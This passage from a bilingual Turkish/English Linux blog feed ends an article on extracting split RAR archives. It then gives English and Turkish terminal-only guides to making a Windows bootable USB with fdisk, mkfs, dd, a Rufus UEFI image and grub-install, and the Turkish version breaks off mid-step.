RAR deste&gbreve;i eksik olabilir &ndash; bu durumda <code>unrar</code> tercih edilmelidir.</p> </div> <hr/> <h2 id="3-grafik-arayuzle-ckarma_1">3️⃣ Grafik Aray&uuml;zle &Ccedil;&inodot;karma<a class="headerlink" href="#3-grafik-arayuzle-ckarma" title="Permanent link">#</a></h2> <p>Masa&uuml;st&uuml; kullan&inodot;c&inodot;ysan&inodot;z, ar&scedil;iv y&ouml;neticinizin sa&gbreve; t&inodot;klama se&ccedil;ene&gbreve;iyle &ccedil;&inodot;karma i&scedil;lemi yeterli olabilir. &Ouml;rne&gbreve;in:</p> <ul> <li>File Roller (GNOME)</li> <li>Ark (KDE)</li> <li>Xarchiver (XFCE)</li> </ul> <p>Bu ara&ccedil;lar &ccedil;o&gbreve;u zaman <code>.part1.rar</code> dosyas&inodot;na sa&gbreve; t&inodot;klay&inodot;p &ldquo;&Ccedil;&inodot;kar&rdquo; dedi&gbreve;inizde di&gbreve;er par&ccedil;alar&inodot; da alg&inodot;lar.</p> <div class="admonition warning"> <p class="admonition-title">Par&ccedil;alardan biri eksik veya farkl&inodot; dizindeyse &ccedil;&inodot;karma i&scedil;lemi hata verir ya da eksik veri b&inodot;rakabilir.</p> </div> <hr/> <h2 id="alternatif-formatlar-dusunmek">Alternatif Formatlar&inodot; D&uuml;&scedil;&uuml;nmek<a class="headerlink" href="#alternatif-formatlar-dusunmek" title="Permanent link">#</a></h2> <p>E&gbreve;er kendi ar&scedil;ivlerinizi olu&scedil;turuyorsan&inodot;z, <code>.zip</code>, <code>.tar.gz</code>, <code>.tar.xz</code> veya <code>.tar.zst</code> gibi a&ccedil;&inodot;k bi&ccedil;imleri tercih etmeniz faydal&inodot; olabilir. Bunlar lisans k&inodot;s&inodot;t&inodot; i&ccedil;ermez ve t&uuml;m Linux da&gbreve;&inodot;t&inodot;mlar&inodot;nda do&gbreve;rudan desteklenebilir.</p> <hr/> <h2 id="sonuc">Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>B&ouml;l&uuml;nm&uuml;&scedil; RAR dosyalar&inodot; art&inodot;k Linux&rsquo;ta bir engel de&gbreve;il. <code>unrar</code> ya da <code>7zz</code> gibi ara&ccedil;larla birka&ccedil; komutla a&ccedil;abilirsiniz. Ar&scedil;iv olu&scedil;tururken ise a&ccedil;&inodot;k s&inodot;k&inodot;&scedil;t&inodot;rma bi&ccedil;imlerini tercih etmek hem ta&scedil;&inodot;nabilirli&gbreve;i hem sorunsuz uyumlulu&gbreve;u art&inodot;r&inodot;r.</p> <p><img alt="B&ouml;l&uuml;nm&uuml;&scedil; RAR Dosyalar&inodot;n&inodot; &Ccedil;&inodot;karman&inodot;n En Kolay Yolu" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bolunmus-rar-dosyalarini-cikarma-xl.webp" srcset="/images/bolunmus-rar-dosyalarini-cikarma-sm.webp 300w, /images/bolunmus-rar-dosyalarini-cikarma-md.webp 500w, /images/bolunmus-rar-dosyalarini-cikarma-lg.webp 800w, /images/bolunmus-rar-dosyalarini-cikarma-xl.webp 1200w"/></p>2025-11-11T17:00:00+03:002025-11-11T17:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-11:/en/usb-bellekten-iso-onyukleme-rehberi/

<p>If you want to make an ISO file bootable by correctly writing it to a USB drive, this guide will walk you through it step by step.</p>

<p>Creating a bootable USB drive is a fundamental skill for both IT professionals and tech enthusiasts. In this article, you will learn step-by-step how to create a <strong>Windows bootable USB drive</strong> on Linux using only terminal commands. Whether you are setting up a new system, repairing an existing one, or just need a reliable portable installer&mdash;this guide is for you.</p> <p>We will cover each step individually: from preparing your USB drive and partitioning it, to writing the Windows ISO file to the USB, all done directly with terminal commands.</p> <h2 id="the-difference-between-linux-isohybrid-and-windows-iso">The Difference Between Linux ISOHybrid and Windows ISO<a class="headerlink" href="#the-difference-between-linux-isohybrid-and-windows-iso" title="Permanent link">#</a></h2> <p>When creating a bootable USB drive, it is crucial to understand the differences between <strong>Linux ISOHybrid images</strong> and <strong>Windows ISO images</strong>. Although both serve as installation media, their design, functionality, and use cases differ. These differences affect how the images interact with USB drives and how tools like <code>dd</code> or specialized utilities should be used.</p> <p>This distinction becomes particularly important when <strong>creating a Windows bootable USB in a Linux environment</strong>, as this process often requires more steps than working with a Linux ISOHybrid. Let's now delve into the details to better understand these formats and their impact on the process of creating a bootable USB.</p> <p>This context will help you understand the specific challenges and solutions encountered when working with a Windows ISO on Linux.</p> <h3 id="what-is-a-hybrid-iso">What is a Hybrid ISO?<a class="headerlink" href="#what-is-a-hybrid-iso" title="Permanent link">#</a></h3> <p>A Hybrid ISO is a special type of ISO that can function both as a classic optical disc (CD/DVD) image and as a <strong>bootable image</strong> on devices like USB drives. Traditionally, ISO files are designed to be written to a CD or DVD. Hybrid ISOs extend this functionality; the same file can be written directly to a USB drive <strong>without any additional modifications</strong> and become bootable.</p> <p>This dual functionality is possible because it includes both the ISO9660 file system for CD/DVD compatibility and an <strong>MBR (Master Boot Record)</strong> structure that provides USB boot support.</p> <h3 id="how-to-tell-if-an-iso-is-hybrid">How to Tell if an ISO is Hybrid<a class="headerlink" href="#how-to-tell-if-an-iso-is-hybrid" title="Permanent link">#</a></h3> <p>You can use the following methods to determine if an ISO is hybrid:</p> <ol> <li><strong>Check with the <code>file</code> Command</strong></li> </ol> <p>The <code>file</code> command provides information about the structure of the ISO:</p> <div class="highlight"><pre><span></span><code>file<span class="w"> </span>path/to/image.iso </code></pre></div> <p>For a hybrid ISO, the output usually includes the phrase "(DOS/MBR boot sector)".</p> <ol> <li><strong>Examine the MBR with <code>fdisk</code></strong></li> </ol> <p>Hybrid ISOs contain an MBR to support booting from USB. You can check this with <code>fdisk</code>:</p> <div class="highlight"><pre><span></span><code>fdisk<span class="w"> </span>-l<span class="w"> </span>path/to/image.iso </code></pre></div> <p>If you see bootable partition information (e.g., a single partition), the ISO is likely hybrid. For a non-hybrid ISO, partition details will not be displayed.</p> <ol> <li><strong>Check the El Torito Boot Record</strong></li> </ol> <p>Hybrid ISOs use the <strong>El Torito</strong><sup id="fnref:El-Torito"><a class="footnote-ref" href="#fn:El-Torito">1</a></sup> standard. You can verify this with the <code>xorriso</code> tool:</p> <div class="highlight"><pre><span></span><code>xorriso<span class="w"> </span>-indev<span class="w"> </span>path/to/image.iso </code></pre></div> <p>If the output under the <code>Boot record</code> section contains information about the bootloader and partition table, the ISO is bootable.</p> <hr/> <h2 id="requirements_1">Requirements<a class="headerlink" href="#requirements" title="Permanent link">#</a></h2> <p>Before starting the process, make sure you have the following ready:</p> <ol> <li> <p><strong>Windows ISO file:</strong> Download the official ISO file from the <a href="https://www.microsoft.com/en-us/windows/?r=1" rel="noopener noreferrer" target="_blank">Microsoft website</a>.</p> </li> <li> <p><strong>USB drive:</strong> It should have at least 8 GB of free space. Back up any important data as all content will be erased.</p> </li> <li> <p><strong>Linux terminal access:</strong> All commands will be run through the terminal.</p> </li> </ol> <hr/> <h2 id="step-1-identify-your-usb-drive">Step 1: Identify Your USB Drive<a class="headerlink" href="#step-1-identify-your-usb-drive" title="Permanent link">#</a></h2> <p>Plug in your USB drive and open the terminal. Run the following command to determine the device name:</p> <div class="highlight"><pre><span></span><code>lsblk </code></pre></div> <p>In the output, you will typically see a name like <code>/dev/sdX</code>. The letter <code>X</code> represents the drive letter&mdash;carefully note the correct drive.</p> <hr/> <h2 id="step-2-partition-the-usb-drive">Step 2: Partition the USB Drive<a class="headerlink" href="#step-2-partition-the-usb-drive" title="Permanent link">#</a></h2> <p>Before formatting, you need to create the necessary partitions on the USB drive. Use the <code>fdisk</code> tool for this.</p> <div class="admonition tip"> <p class="admonition-title">To avoid errors during partitioning and formatting, unmount any existing partitions on the USB beforehand:</p> </div> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>umount<span class="w"> </span>/dev/sdX* </code></pre></div> <ul> <li> <p>Replace <code>/dev/sdX*</code> with the appropriate partitions of your USB drive.</p> </li> <li> <p>Start the <code>fdisk</code> tool:</p> </li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>fdisk<span class="w"> </span>/dev/sdX </code></pre></div> <ol> <li> <p>Follow these steps within <code>fdisk</code>:</p> </li> <li> <p>Press <code>g</code> to create a new <strong>GPT</strong> partition table.</p> </li> <li>Press <code>n</code> to add a new partition.</li> <li>Press <code>p</code> to create a primary partition.</li> <li>Create the first partition, leaving a small amount of space for the boot partition (about 1 MB is sufficient).</li> <li>Allocate the remaining space for the second partition.</li> </ol> <div class="admonition note"> <p class="admonition-title">In a Windows environment, the operating system on removable drives typically recognizes <strong>only the first primary partition</strong>. Therefore, the data partition that will be accessible by Windows should be the <strong>first</strong>, and the boot partition containing system files should be the <strong>second</strong>.</p> </div> <ol> <li> <p>Set the file system type to <code>Microsoft basic data</code>:</p> </li> <li> <p>Press <code>t</code> and select type number <code>11</code> for both partitions.</p> </li> <li> <p>Set the bootable flag:</p> </li> <li> <p>Press <code>x</code>.</p> </li> <li> <p>Press <code>A</code> to select the partition to be made bootable.</p> </li> <li> <p>Save changes and exit:</p> </li> <li> <p>Press <code>r</code> to exit expert mode.</p> </li> <li>Press <code>w</code>.</li> </ol> <hr/> <h2 id="step-3-format-the-usb-drive">Step 3: Format the USB Drive<a class="headerlink" href="#step-3-format-the-usb-drive" title="Permanent link">#</a></h2> <p>Use <strong>NTFS</strong> for the data partition and <strong>FAT32</strong> for the boot partition.</p> <p><strong>For NTFS:</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkfs.ntfs<span class="w"> </span>-f<span class="w"> </span>/dev/sdX1 </code></pre></div> <p><strong>For FAT32:</strong></p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkfs.vfat<span class="w"> </span>-F<span class="w"> </span><span class="m">32</span><span class="w"> </span>/dev/sdX2 </code></pre></div> <p>Replace <code>/dev/sdX1</code> and <code>/dev/sdX2</code> with the correct partitions.</p> <hr/> <h2 id="step-4-copy-windows-iso-files-to-the-usb">Step 4: Copy Windows ISO Files to the USB<a class="headerlink" href="#step-4-copy-windows-iso-files-to-the-usb" title="Permanent link">#</a></h2> <p>Mount the ISO file and the USB drive, then copy the contents:</p> <ol> <li><strong>Create mount points:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mkdir<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>mkdir<span class="w"> </span>/mnt/drive </code></pre></div> <ol> <li><strong>Mount the ISO:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>mount<span class="w"> </span>-o<span class="w"> </span>loop<span class="w"> </span>/path/to/your.iso<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>mount<span class="w"> </span>/dev/sdX1<span class="w"> </span>/mnt/drive </code></pre></div> <ol> <li><strong>Copy the files:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>cp<span class="w"> </span>-r<span class="w"> </span>/mnt/iso/*<span class="w"> </span>/mnt/drive </code></pre></div> <div class="admonition note"> <p class="admonition-title">This process can take up to 10 minutes depending on your USB speed.</p> </div> <ol> <li><strong>Unmount the ISO:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>umount<span class="w"> </span>/mnt/iso sudo<span class="w"> </span>rmdir<span class="w"> </span>/mnt/iso </code></pre></div> <hr/> <h2 id="step-5-write-the-rufus-boot-image">Step 5: Write the Rufus Boot Image<a class="headerlink" href="#step-5-write-the-rufus-boot-image" title="Permanent link">#</a></h2> <p>First, download the boot image from the Rufus<sup id="fnref:Rufus"><a class="footnote-ref" href="#fn:Rufus">2</a></sup> repository:</p> <div class="highlight"><pre><span></span><code>wget<span class="w"> </span>https://github.com/pbatard/rufus/raw/master/res/uefi/uefi-ntfs.img </code></pre></div> <p>Use the <code>dd</code> command to write the downloaded <code>uefi-ntfs.img</code> file to the USB:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dd<span class="w"> </span><span class="k">if</span><span class="o">=</span>/path/to/uefi-ntfs.img<span class="w"> </span><span class="nv">of</span><span class="o">=</span>/dev/sdX2<span class="w"> </span><span class="nv">bs</span><span class="o">=</span>1M<span class="w"> </span><span class="nv">status</span><span class="o">=</span>progress </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Critical Warning; Replace <code>/dev/sdX2</code> with the correct drive name. If you enter the wrong device name, important data, including your system disk, could be erased!</p> </div> <hr/> <h2 id="step-6-install-the-bootloader">Step 6: Install the Bootloader<a class="headerlink" href="#step-6-install-the-bootloader" title="Permanent link">#</a></h2> <p>We will use <code>grub</code> to install the bootloader. The command may vary depending on your distribution.</p> <div class="admonition note"> <p class="admonition-title">Note for Debian/Ubuntu Users</p> </div> <p>If the <code>grub2-install</code> command is not found, your system might be using <code>grub-install</code>. Also, the <code>grub-pc</code> package may need to be installed for the <code>i386-pc</code> target. To install: <code>sudo apt-get install grub-pc</code></p> <p>Install the bootloader using the <code>grub2-install</code> (or <code>grub-install</code>) command:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>grub2-install<span class="w"> </span>--target<span class="o">=</span>i386-pc<span class="w"> </span>--boot-directory<span class="o">=</span>/mnt/drive<span class="w"> </span>--force<span class="w"> </span>/dev/sdX </code></pre></div> <ul> <li><code>--boot-directory=/mnt/drive</code>: The mount point of the USB's Windows data partition (see Step 4).</li> <li><code>/dev/sdX</code>: The USB device itself.</li> </ul> <div class="admonition warning"> <p class="admonition-title">Attention! Double-check the drive name before running the command.</p> </div> <hr/> <h2 id="step-7-test-the-bootable-usb">Step 7: Test the Bootable USB<a class="headerlink" href="#step-7-test-the-bootable-usb" title="Permanent link">#</a></h2> <p>Plug the USB into the target system and set <strong>USB as the priority boot device</strong> in the BIOS/UEFI settings. If necessary, disable the <strong>Secure Boot</strong> option.</p> <hr/> <h2 id="common-issues-and-solutions">Common Issues and Solutions<a class="headerlink" href="#common-issues-and-solutions" title="Permanent link">#</a></h2> <ul> <li> <p><strong>Bootloader Errors:</strong> If the USB does not boot, the ISO may require additional configuration.</p> </li> <li> <p><strong>Permission Errors:</strong> Always run commands with <code>sudo</code>.</p> </li> <li> <p><strong>Corrupt ISO File:</strong> To verify the integrity of the ISO, use this command:</p> </li> </ul> <div class="highlight"><pre><span></span><code>sha256sum<span class="w"> </span>/path/to/windows.iso </code></pre></div> <p>Compare the output with the official SHA256 value.</p> <hr/> <h2 id="conclusion">Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>By following these steps, you can easily create a <strong>Windows bootable USB</strong> on Linux using only terminal commands. This method should always be at your fingertips for new installations, system repairs, or emergencies.</p> <p>Happy booting! 💻</p> <hr/> <h2 id="resources">Resources<a class="headerlink" href="#resources" title="Permanent link">#</a></h2> <ul> <li>For more information, you can check out the <a href="/en/linux-uefi-windows10-usb/">guide on creating a UEFI-supported Windows 10 USB on Linux</a>.</li> </ul> <p><img alt="Guide to Booting ISO from a USB Stick" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/usb-bellekten-iso-onyukleme-rehberi-xl.webp" srcset="/images/usb-bellekten-iso-onyukleme-rehberi-sm.webp 300w, /images/usb-bellekten-iso-onyukleme-rehberi-md.webp 500w, /images/usb-bellekten-iso-onyukleme-rehberi-lg.webp 800w, /images/usb-bellekten-iso-onyukleme-rehberi-xl.webp 1200w"/></p> <div class="footnote"> <hr/> <ol> <li id="fn:El-Torito"> <p><a href="https://en.wikipedia.org/wiki/ISO_9660#El_Torito" rel="noopener noreferrer" target="_blank">https://en.wikipedia.org/wiki/ISO_9660#El_Torito</a>&nbsp;<a class="footnote-backref" href="#fnref:El-Torito" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:Rufus"> <p><a href="https://rufus.ie/en/" rel="noopener noreferrer" target="_blank">https://rufus.ie/en/</a>&nbsp;<a class="footnote-backref" href="#fnref:Rufus" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-11T17:00:00+03:002025-11-11T17:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-11:/usb-bellekten-iso-onyukleme-rehberi/

<p>ISO dosyasını USB belleğe doğru şekilde yazarak önyüklenebilir hale getirmek istiyorsanız, bu rehber adım adım size yol gösterecek.</p>

<p>Selamlar g&uuml;zel insanlar ve komut sat&inodot;r&inodot;ndan &ouml;d&uuml;n vermeyen yolda&scedil;lar! ⚡</p> <p>E&gbreve;er bir g&uuml;n yolunuz Linux ortam&inodot;nda Windows kurulum USB'si haz&inodot;rlamaya d&uuml;&scedil;t&uuml;yse, o me&scedil;hur 'Rufus' veya benzeri g&ouml;rsel ara&ccedil;lar&inodot;n Linux s&uuml;r&uuml;m&uuml; olmad&inodot;&gbreve;&inodot;n&inodot; g&ouml;r&uuml;p hafif bir panik ya&scedil;am&inodot;&scedil; olabilirsiniz. Hele ki benim gibi Arch Linux kullanan ve terminalin o siyah ekran&inodot;ndan &ccedil;&inodot;kmay&inodot; reddeden bir paronoyaksan&inodot;z, eliniz hemen klavyeye gider. Ama durun! Linux ISO'lar&inodot; ile Windows ISO'lar&inodot; aras&inodot;nda o g&inodot;c&inodot;k &ouml;ny&uuml;kleme fark&inodot; y&uuml;z&uuml;nden d&uuml;z bir <code>dd</code> komutu atmak Windows USB'lerinde i&scedil;e yaramaz. </p> <p>Bu yaz&inodot;da, hi&ccedil;bir &uuml;&ccedil;&uuml;nc&uuml; parti aray&uuml;ze ihtiya&ccedil; duymadan, <strong>sadece ve sadece terminal komutlar&inodot;n&inodot; kullanarak</strong> Linux &uuml;zerinde aslanlar gibi &ccedil;al&inodot;&scedil;an <strong>Windows &ouml;ny&uuml;klenebilir USB s&uuml;r&uuml;c&uuml;s&uuml;</strong> nas&inodot;l haz&inodot;rlan&inodot;r bizzat tecr&uuml;be etti&gbreve;im, ac&inodot; &ccedil;ekerek &ouml;&gbreve;rendi&gbreve;im en temiz y&ouml;ntemle anlat&inodot;yorum. Kendinize makarna-yo&gbreve;urt yap&inodot;n veya &ccedil;ay&inodot;n&inodot;z&inodot; tazeleyin; disk b&ouml;lmekten Rufus &ouml;ny&uuml;kleme imaj&inodot; g&ouml;mmeye kadar bu i&scedil;i terminalin efendisi gibi hallediyoruz! 💻</p> <hr/> <h2 id="linuxun-isohybrid-ve-windows-iso-fark">🧠 Linux&rsquo;un ISOHybrid ve Windows ISO Fark&inodot;<a class="headerlink" href="#linuxun-isohybrid-ve-windows-iso-fark" title="Permanent link">#</a></h2> <p>&Ouml;ny&uuml;klenebilir bir USB s&uuml;r&uuml;c&uuml; olu&scedil;tururken, <strong>Linux ISOHybrid g&ouml;r&uuml;nt&uuml;leri</strong> ile <strong>Windows ISO g&ouml;r&uuml;nt&uuml;leri</strong> aras&inodot;ndaki farklar&inodot; anlamak hayati &ouml;nem ta&scedil;&inodot;r. Yoksa saatlerce <code>dd</code> komutunun bitmesini bekleyip, sonras&inodot;nda hi&ccedil;bir &scedil;ey boot etmeyen o cans&inodot;z USB'ye bakarak bilgisayar&inodot; yumruklayabilirsiniz. </p> <p>Bu ayr&inodot;m &ouml;zellikle <strong>Linux ortam&inodot;nda Windows &ouml;ny&uuml;klenebilir USB olu&scedil;tururken</strong> kansere d&ouml;nen bir s&uuml;rece yol a&ccedil;ar, &ccedil;&uuml;nk&uuml; bu i&scedil;lem genellikle bir Linux ISOHybrid ile &ccedil;al&inodot;&scedil;maktan &ccedil;ok daha fazla el eme&gbreve;i ve ad&inodot;m gerektirir. &Scedil;imdi bu formatlar&inodot; ve neden d&uuml;z kopyalaman&inodot;n yetmedi&gbreve;ini anlamak i&ccedil;in detaylara bakal&inodot;m.</p> <h3 id="hybrid-iso-nedir">Hybrid ISO Nedir?<a class="headerlink" href="#hybrid-iso-nedir" title="Permanent link">#</a></h3> <p>Hybrid ISO, hem klasik bir optik disk (CD/DVD) g&ouml;r&uuml;nt&uuml;s&uuml; hem de USB s&uuml;r&uuml;c&uuml;ler gibi cihazlarda <strong>&ouml;ny&uuml;klenebilir bir imaj</strong> olarak &ccedil;al&inodot;&scedil;abilen &ouml;zel bir ISO t&uuml;r&uuml;d&uuml;r. Geleneksel olarak ISO dosyalar&inodot;, CD veya DVD'ye yaz&inodot;lmak &uuml;zere tasarlanm&inodot;&scedil;t&inodot;r. Hybrid ISO&rsquo;lar ise bu i&scedil;levselli&gbreve;i geni&scedil;letir; ayn&inodot; dosya, <strong>hi&ccedil;bir ek d&uuml;zenleme yapmadan</strong> do&gbreve;rudan <code>dd</code> ile bir USB s&uuml;r&uuml;c&uuml;ye yaz&inodot;labilir ve &ouml;ny&uuml;klenebilir hale gelir.</p> <p>Bu &ccedil;ift i&scedil;levsellik, hem CD/DVD uyumlulu&gbreve;u i&ccedil;in ISO9660 dosya sistemini hem de USB &ouml;ny&uuml;kleme deste&gbreve;i sa&gbreve;layan <strong>MBR (Master Boot Record)</strong> yap&inodot;s&inodot;n&inodot; i&ccedil;ermesi sayesinde m&uuml;mk&uuml;nd&uuml;r.</p> <h3 id="bir-isonun-hybrid-oldugu-nasl-anlaslr">Bir ISO&rsquo;nun Hybrid Oldu&gbreve;u Nas&inodot;l Anla&scedil;&inodot;l&inodot;r?<a class="headerlink" href="#bir-isonun-hybrid-oldugu-nasl-anlaslr" title="Permanent link">#</a></h3> <p>Bir ISO&rsquo;nun hybrid olup olmad&inodot;&gbreve;&inodot;n&inodot; anlamak i&ccedil;in &scedil;u terminal komutlar&inodot;n&inodot; ko&scedil;turabilirsiniz:</p> <h4 id="1-file-komutu-ile-kontrol">1. <code>file</code> Komutu ile Kontrol<a class="headerlink" href="#1-file-komutu-ile-kontrol" title="Permanent link">#</a></h4> <p><code>file</code> komutu, ISO&rsquo;nun yap&inodot;s&inodot; hakk&inodot;nda bilgi verir:</p> <div class="highlight"><pre><span></span><code>file<span class="w"> </span>path/to/image.iso </code></pre></div> <p>Hybrid bir ISO&rsquo;da &ccedil;&inodot;kt&inodot; genellikle &ldquo;(DOS/MBR boot sector)&rdquo; ifadesini i&ccedil;erir.</p> <h4 id="2-fdisk-ile-mbryi-inceleme">2. <code>fdisk</code> ile MBR&rsquo;yi &Idot;nceleme<a class="headerlink" href="#2-fdisk-ile-mbryi-inceleme" title="Permanent link">#</a></h4> <p>Hybrid ISO&rsquo;lar, USB &uuml;zerinden &ouml;ny&uuml;klemeyi desteklemek i&ccedil;in bir MBR i&ccedil;erir. Bunu <code>fdisk</code> ile kontrol edebilirsiniz:</p> <div class="highlight"><pre><span></span><code>fdisk<span class="w"> </span>-l<span class="w"> </span>path/to/image.iso </code></pre></div> <p>E&gbreve;er bir &ouml;ny&uuml;klenebilir b&ouml;l&uuml;m bilgisi (&ouml;rne&gbreve;in tek bir b&ouml;l&uuml;m) g&ouml;r&uuml;yorsan&inodot;z, bu ISO muhtemelen hybrid&rsquo;dir. Hibrit olmayan d&uuml;z ISO&rsquo;da b&ouml;l&uuml;m detaylar&inodot; g&ouml;r&uuml;nt&uuml;lenmez.</p> <h4 id="3-el-torito-onyukleme-kaydn-kontrol-etme">3. El Torito &Ouml;ny&uuml;kleme Kayd&inodot;n&inodot; Kontrol Etme<a class="headerlink" href="#3-el-torito-onyukleme-kaydn-kontrol-etme" title="Permanent link">#</a></h4> <p>Hybrid ISO&rsquo;lar, <strong>El Torito</strong><sup id="fnref:El-Torito"><a class="footnote-ref" href="#fn:El-Torito">1</a></sup> standard&inodot;n&inodot; kullan&inodot;r. <code>xorriso</code> arac&inodot; ile do&gbreve;rulama yapabilirsiniz:</p> <div class="highlight"><pre><span></span><code>xorriso<span class="w"> </span>-indev<span class="w"> </span>path/to/image.iso </code></pre></div> <p>&Ccedil;&inodot;kt&inodot;da <code>Boot record</code> k&inodot;sm&inodot;nda &ouml;ny&uuml;kleyici ve b&ouml;l&uuml;m tablosu bilgileri yer al&inodot;rsa, ISO &ouml;ny&uuml;klenebilirdir.</p> <hr/> <h2 id="gerekli-olanlar_1">🛠️ Gerekli Olanlar<a class="headerlink" href="#gerekli-olanlar" title="Permanent link">#</a></h2> <p>&Idot;&scedil;leme ba&scedil;lamadan &ouml;nce a&scedil;a&gbreve;&inodot;daki malzemelerin haz&inodot;r oldu&gbreve;undan emin olun:</p> <ol> <li><strong>Windows ISO dosyas&inodot;:</strong> Resm&icirc; ISO dosyas&inodot;n&inodot; <a href="https://www.microsoft.com/en-us/windows/?r=1" rel="noopener noreferrer" target="_blank">Microsoft web sitesinden</a> indirin.</li> <li><strong>USB s&uuml;r&uuml;c&uuml;:</strong> En az 8 GB bo&scedil; alan&inodot; olmal&inodot;. T&uuml;m i&ccedil;erik silinece&gbreve;inden &ouml;nemli verilerinizi yedekleyin.</li> <li><strong>Terminal Eri&scedil;imi:</strong> T&uuml;m i&scedil;lemlerimiz sadece komut sat&inodot;r&inodot;ndan ge&ccedil;ecek!</li> </ol> <hr/> <h2 id="adm-1-usb-surucunuzu-belirleyin">👣 Ad&inodot;m 1: USB S&uuml;r&uuml;c&uuml;n&uuml;z&uuml; Belirleyin<a class="headerlink" href="#adm-1-usb-surucunuzu-belirleyin" title="Permanent link">#</a></h2> <p>USB s&uuml;r&uuml;c&uuml;n&uuml;z&uuml; bilgisayara tak&inodot;n ve terminali a&ccedil;&inodot;n. Ayg&inodot;t ad&inodot;n&inodot; belirlemek i&ccedil;in &scedil;u komutu &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n:</p> <div class="highlight"><pre><span></span><code>lsblk </code></pre></div> <p>&Ccedil;&inodot;kt&inodot;da genellikle <code>/dev/sdX</code> &scedil;eklinde bir ad g&ouml;receksiniz. <code>X</code> harfi s&uuml;r&uuml;c&uuml; harfini temsil eder &mdash; do&gbreve;ru s&uuml;r&uuml;c&uuml;y&uuml; dikkatlice not edin. Yanl&inodot;&scedil; diski se&ccedil;erseniz sisteminizi s&inodot;f&inodot;rlayabilirsiniz, aman dikkat!</p> <hr/> <h2 id="adm-2-usb-surucusunu-bolumleme">👣 Ad&inodot;m 2: USB S&uuml;r&uuml;c&uuml;s&uuml;n&uuml; B&ouml;l&uuml;mleme<a class="headerlink" href="#adm-2-usb-surucusunu-bolumleme" title="Permanent link">#</a></h2> <p>Formatlamadan &ouml;nce USB s&uuml;r&uuml;c&uuml;s&uuml;nde gerekli b&ouml;l&uuml;mleri olu&scedil;turmal&inodot;s&inodot;n&inodot;z. Bunun i&ccedil;in <code>fdisk</code> arac&inodot;n&inodot; kullanaca&gbreve;&inodot;z.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! B&ouml;l&uuml;mleme ve formatlama s&inodot;ras&inodot;nda hatalardan ka&ccedil;&inodot;nmak i&ccedil;in, USB &uuml;zerindeki mevcut b&ouml;l&uuml;mleri &ouml;nceden ay&inodot;r&inodot;n (unmount edin):</p> </div> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>umount<span class="w"> </span>/dev/sdX* </code></pre></div> <ul> <li> <p><code>/dev/sdX*</code> k&inodot;sm&inodot;n&inodot; kendi USB s&uuml;r&uuml;c&uuml;n&uuml;z&uuml;n uygun b&ouml;l&uuml;mleriyle de&gbreve;i&scedil;tirin.</p> </li> <li> <p><code>fdisk</code> arac&inodot;n&inodot; ba&scedil;lat&inodot;n:</p> </li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>fdisk<span class="w"> </span>/dev/sdX </code></pre></div> <ol> <li> <p><code>fdisk</code> aray&uuml;z&uuml;nde a&scedil;a&gbreve;&inodot;daki ad&inodot;mlar&inodot; s&inodot;rayla uygulay&inodot;n:</p> </li> <li> <p><code>g</code> tu&scedil;una basarak yeni bir <strong>GPT</strong> b&ouml;l&uuml;m tablosu olu&scedil;turun.</p> </li> <li><code>n</code> tu&scedil;una basarak yeni bir b&ouml;l&uuml;m ekleyin.</li> <li><code>p</code> ile birincil (primary) b&ouml;l&uuml;m olu&scedil;turun.</li> <li>&Idot;lk b&ouml;l&uuml;m&uuml; olu&scedil;turun, &ouml;ny&uuml;kleme b&ouml;l&uuml;m&uuml; i&ccedil;in az miktarda alan b&inodot;rak&inodot;n (yakla&scedil;&inodot;k 1 MB yeterlidir).</li> <li>Kalan alan&inodot; ikinci b&ouml;l&uuml;m i&ccedil;in ay&inodot;r&inodot;n.</li> </ol> <div class="admonition note"> <p class="admonition-title">Not: Windows ortam&inodot;nda, &ccedil;&inodot;kar&inodot;labilir s&uuml;r&uuml;c&uuml;lerde i&scedil;letim sistemi genellikle <strong>yaln&inodot;zca ilk birincil b&ouml;l&uuml;m&uuml;</strong> tan&inodot;r. Bu nedenle, Windows taraf&inodot;ndan eri&scedil;ilebilir olacak veri b&ouml;l&uuml;m&uuml; <strong>birinci</strong>, sistem dosyalar&inodot;n&inodot; i&ccedil;eren &ouml;ny&uuml;kleme b&ouml;l&uuml;m&uuml; ise <strong>ikinci</strong> olmal&inodot;d&inodot;r.</p> </div> <ol> <li> <p>Dosya sistemi t&uuml;r&uuml;n&uuml; <code>Microsoft basic data</code> olarak ayarlay&inodot;n:</p> </li> <li> <p><code>t</code> tu&scedil;una bas&inodot;n ve her iki b&ouml;l&uuml;m i&ccedil;in de t&uuml;r numaras&inodot; olarak <code>11</code> se&ccedil;in.</p> </li> <li> <p>&Ouml;ny&uuml;klenebilir (bootable) bayra&gbreve;&inodot;n&inodot; ayarlay&inodot;n:</p> </li> <li> <p><code>x</code> tu&scedil;una basarak uzman moduna ge&ccedil;in.</p> </li> <li> <p><code>A</code> ile &ouml;ny&uuml;kleme 